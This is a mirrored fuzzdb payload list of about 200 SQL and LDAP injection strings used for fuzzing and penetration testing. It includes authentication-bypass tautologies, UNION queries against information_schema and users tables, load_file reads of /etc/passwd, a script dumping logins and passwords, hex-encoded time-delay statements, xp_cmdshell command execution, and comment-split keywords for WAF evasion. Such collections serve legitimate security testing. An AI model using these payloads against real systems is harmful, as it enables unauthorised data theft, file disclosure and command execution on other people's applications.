mirror of
https://github.com/fuzzdb-project/fuzzdb.git
synced 2025-01-19 04:03:52 +00:00
200 lines
3.6 KiB
Text
200 lines
3.6 KiB
Text
# to attempt with ids/waf evasion try like
|
||
# /index.aspx?page=select 1&page=2,3 from table where id=1
|
||
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
|
||
||6
|
||
'||'6
|
||
(||6)
|
||
' or 1=1--
|
||
or 1=1
|
||
' or '1'='1
|
||
; or '1'='1'
|
||
" or isNULL(1/0) /*
|
||
' or '7659'='7659
|
||
" or isNULL(1/0) /*
|
||
' --
|
||
' or 1=1--
|
||
" or 1=1--
|
||
' or 1=1 /*
|
||
or 1=1--
|
||
' or 'a'='a
|
||
" or "a"="a
|
||
') or ('a'='a
|
||
admin' or '
|
||
' select * from information_schema.tables--
|
||
) union select * from information_schema.tables;
|
||
' having 1=1--
|
||
' having 1=1--
|
||
' group by userid having 1=1--
|
||
' select name from syscolumns where id = (select id from sysobjects where name = tablename')--
|
||
' or 1 in (select @@version)--
|
||
' union all select @@version--
|
||
' or 'unusual' = 'unusual'
|
||
' or 'something' = 'some'+'thing'
|
||
' or 'text' = n'text'
|
||
' or 'something' like 'some%'
|
||
' or 2 > 1
|
||
' or 'text' > 't'
|
||
' or 'whatever' in ('whatever')
|
||
' or 2 between 1 and 3
|
||
' or username like char(37);
|
||
' union select * from users where login = char(114,111,111,116);
|
||
' union select
|
||
password:*/=1--
|
||
uni/**/on sel/**/ect
|
||
'; execute immediate 'sel' || 'ect us' || 'er'
|
||
'; exec ('sel' + 'ect us' + 'er')
|
||
'/**/or/**/1/**/=/**/1
|
||
' or 1/*
|
||
or isNULL(1/0) /*
|
||
' or '7659'='7659
|
||
" or isNULL(1/0) /*
|
||
' -- &password=
|
||
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
|
||
@var select @var as var into temp end --
|
||
' and 1 in (select var from temp)--
|
||
' union select 1,load_file('/etc/passwd'),1,1,1;
|
||
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
|
||
' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
|
||
|
||
'sqlvuln
|
||
'+sqlvuln
|
||
sqlvuln;
|
||
(sqlvuln)
|
||
a' or 1=1--
|
||
"a"" or 1=1--"
|
||
or a = a
|
||
a' or 'a' = 'a
|
||
1 or 1=1
|
||
a' waitfor delay '0:0:10'--
|
||
1 waitfor delay '0:0:10'--
|
||
declare @q nvarchar (4000) select @q =
|
||
0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A
|
||
0
|
||
031003000270000
|
||
declare @s varchar(22) select @s =
|
||
0x77616974666F722064656C61792027303A303A31302700 exec(@s)
|
||
0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
|
||
declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e
|
||
exec(@s)
|
||
a'
|
||
?
|
||
' or 1=1
|
||
‘ or 1=1 --
|
||
x' AND userid IS NULL; --
|
||
x' AND email IS NULL; --
|
||
anything' OR 'x'='x
|
||
x' AND 1=(SELECT COUNT(*) FROM tabname); --
|
||
x' AND members.email IS NULL; --
|
||
x' OR full_name LIKE '%Bob%
|
||
23 OR 1=1
|
||
'; exec master..xp_cmdshell 'ping 172.10.1.255'--
|
||
'
|
||
'%20or%20''='
|
||
'%20or%20'x'='x
|
||
%20or%20x=x
|
||
')%20or%20('x'='x
|
||
0 or 1=1
|
||
' or 0=0 --
|
||
" or 0=0 --
|
||
or 0=0 --
|
||
' or 0=0 #
|
||
or 0=0 #"
|
||
or 0=0 #
|
||
' or 1=1--
|
||
" or 1=1--
|
||
' or '1'='1'--
|
||
' or 1 --'
|
||
or 1=1--
|
||
or%201=1
|
||
or%201=1 --
|
||
' or 1=1 or ''='
|
||
or 1=1 or ""=
|
||
' or a=a--
|
||
or a=a
|
||
') or ('a'='a
|
||
) or (a=a
|
||
hi or a=a
|
||
hi or 1=1 --"
|
||
hi' or 1=1 --
|
||
hi' or 'a'='a
|
||
hi') or ('a'='a
|
||
"hi"") or (""a""=""a"
|
||
'hi' or 'x'='x';
|
||
@variable
|
||
,@variable
|
||
PRINT
|
||
PRINT @@variable
|
||
select
|
||
insert
|
||
as
|
||
or
|
||
procedure
|
||
limit
|
||
order by
|
||
asc
|
||
desc
|
||
delete
|
||
update
|
||
distinct
|
||
having
|
||
truncate
|
||
replace
|
||
like
|
||
handler
|
||
bfilename
|
||
' or username like '%
|
||
' or uname like '%
|
||
' or userid like '%
|
||
' or uid like '%
|
||
' or user like '%
|
||
exec xp
|
||
exec sp
|
||
'; exec master..xp_cmdshell
|
||
'; exec xp_regread
|
||
t'exec master..xp_cmdshell 'nslookup www.google.com'--
|
||
--sp_password
|
||
\x27UNION SELECT
|
||
' UNION SELECT
|
||
' UNION ALL SELECT
|
||
' or (EXISTS)
|
||
' (select top 1
|
||
'||UTL_HTTP.REQUEST
|
||
1;SELECT%20*
|
||
to_timestamp_tz
|
||
tz_offset
|
||
<>"'%;)(&+
|
||
'%20or%201=1
|
||
%27%20or%201=1
|
||
%20$(sleep%2050)
|
||
%20'sleep%2050'
|
||
char%4039%41%2b%40SELECT
|
||
'%20OR
|
||
'sqlattempt1
|
||
(sqlattempt2)
|
||
|
|
||
%7C
|
||
*|
|
||
%2A%7C
|
||
*(|(mail=*))
|
||
%2A%28%7C%28mail%3D%2A%29%29
|
||
*(|(objectclass=*))
|
||
%2A%28%7C%28objectclass%3D%2A%29%29
|
||
(
|
||
%28
|
||
)
|
||
%29
|
||
&
|
||
%26
|
||
!
|
||
%21
|
||
' or 1=1 or ''='
|
||
' or ''='
|
||
x' or 1=1 or 'x'='y
|
||
/
|
||
//
|
||
//*
|
||
*/*
|
||
a' or 3=3--
|
||
"a"" or 3=3--"
|
||
' or 3=3
|
||
‘ or 3=3 --
|